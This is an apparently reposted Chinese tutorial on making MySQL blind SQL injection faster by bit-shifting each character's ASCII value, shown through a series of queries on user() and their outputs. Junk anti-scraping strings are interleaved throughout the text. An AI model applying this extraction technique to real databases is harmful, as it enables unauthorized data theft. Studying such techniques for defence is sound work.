关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
& n# R4 b" Y6 E+ u3 A! N5 }

8 s! W& }4 a. K4 w4 |6 H: P
下面将以查询mysql数据库当中user()的第一位为例:



4 ~' B+ Z( [/ b- Cps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
( N, v: C0 m8 ?

6 _& d0 k8 i; d" h
8 O, n: n& o0 [4 S+ x7 Z+ |  N首先执行如下sql语句:



mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

$ \! @( t* V3 u6 N- Y# z& C( M

# z* R5 ?5 o& p我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的


' Q; P7 j- U7 @! K# M
9 O( M- `3 c4 Y, W" V第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! E& u1 |- N7 g# L
% c1 l4 j% ^' `- m. Q4 a
! Y# v$ o1 ?7 |9 H. S
如果运算结果为1,说明第一位为0,不为1

. ^* `8 B* i" D! Y9 E, h8 W$ q
# H% U7 L1 F! N) s
+————————————–+

. y, t! x0 c/ @- m| (ascii((substr(user(),1,1))) >> 7)=0 |
5 c( r- W6 a& ^
+————————————–+

4 S0 I4 c! C0 X" L! E8 r| 1 |
  x& _- f+ g+ x# j4 ]- b
4 r/ b5 P" }: U4 T4 `+————————————–+

0 F( y8 {; N, l7 T$ l& z( i1 row in set (0.00 sec)

  R  A; T! `4 H- W* \2 e; B这样我们就确定这个8bit的ascii的第一位为0
: v, e, a$ @; A1 d


第二次我们来做6次右偏移来确定前两位
9 [! |: l7 F  ~3 w
5 [8 @2 F1 c7 T

# r5 B7 N$ l( Y+ a3 i前两位可能是01或00,即依然可以与0做比较,
9 G+ }6 H4 n( X& s8 z" }
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
- \8 [# b( \" }
+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |

9 z" H. a% t! n& N; l+————————————–+

! x# v. Q; Q5 Z+ ~3 A" O| 0 |
% ^! n9 V& H' Y) g
% @+ i1 {5 ~4 u1 O+————————————–+

1 row in set (0.00 sec)
/ _! ~; K3 v+ C+ ^( X4 r/ W& g. `


结果为0,即第二位为1


/ T, c, v8 B3 D
开始猜测前三位为010或011
( k1 {6 l7 P* F& Z
% U0 D* q/ d# U1 z7 u% L

让我们看看010和011的ascii码是多少
7 ~5 S* E# \6 f
3 e7 S9 ?& V! k* K

; _& }" ^7 _( {* H& }分别查询select b’011′ select b’010′
. d( I. h" p' Y
6 U0 h7 I- i- Q& }1 p! l
% n6 |) V3 J, {
* ^4 y* J2 n, j3 b7 |2 q6 Q, u获得结果 010 = 2 011 = 3
, y  j3 Y* e/ H4 ?- ?
- W% }# r9 t+ Q! g% M

. {: I5 x1 w, Y9 m9 ~5 N4 U执行如下sql:
" h# L4 I  Y, q
) W+ x+ w+ H) Y. |0 |% g  B" [0 K
0 O7 e1 i3 Z- K8 T  `. \+ Y
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+ v: {4 k- V* }2 a( S- M5 S+————————————–+

4 {% V$ v2 _$ S' C2 \3 m| (ascii((substr(user(),1,1))) >> 5)=2 |

. K7 \* {8 z: n( K7 B! L; U+————————————–+
' |* O( \6 ]# m& Q
| 0 |

+————————————–+
: \9 z$ J- P6 \5 l; D6 g) H& ]7 ]
即前三位不为010,而是011


7 |! c$ N4 u/ \5 p  S. ^
直到获得最后一位

/ C+ g; a* L. ?8 }0 S2 `& |) \

最终结果为:01110010


. P" @, |" X2 f' V* Y
转换一下:
' o4 N$ t& t) \' k+ t/ P4 a
& W' g* X7 S5 P) n2 p
* h+ \! P: p" q3 }. q+ S7 r" y
/ i, @1 R6 X4 @% }# p' Y4 Fselect b’01110010′
, V4 Y3 c& u$ y, k2 ~( I: v
' F0 z" ]# l( H7 Z5 ~. R5 j
: S5 P  X: ]: e+ S0 O. s! T+ K
# [9 O# r% o1 ?. |& q( n查询结果



+————-+

; u: \- R: A; m4 s+ F" l) e5 W| b’01110010′ |

+————-+

| r |

# w  m1 t$ M* L; S+————-+

" Y" q1 V1 G$ |1 ~! l1 row in set (0.00 sec)



; r% x4 c+ H/ l( s7 G' m这样我们就获得了user()的第一位.其它位依此类推
# f( R2 J) g( c! d9 N9 A
; h7 M3 T8 [) v* G, q: [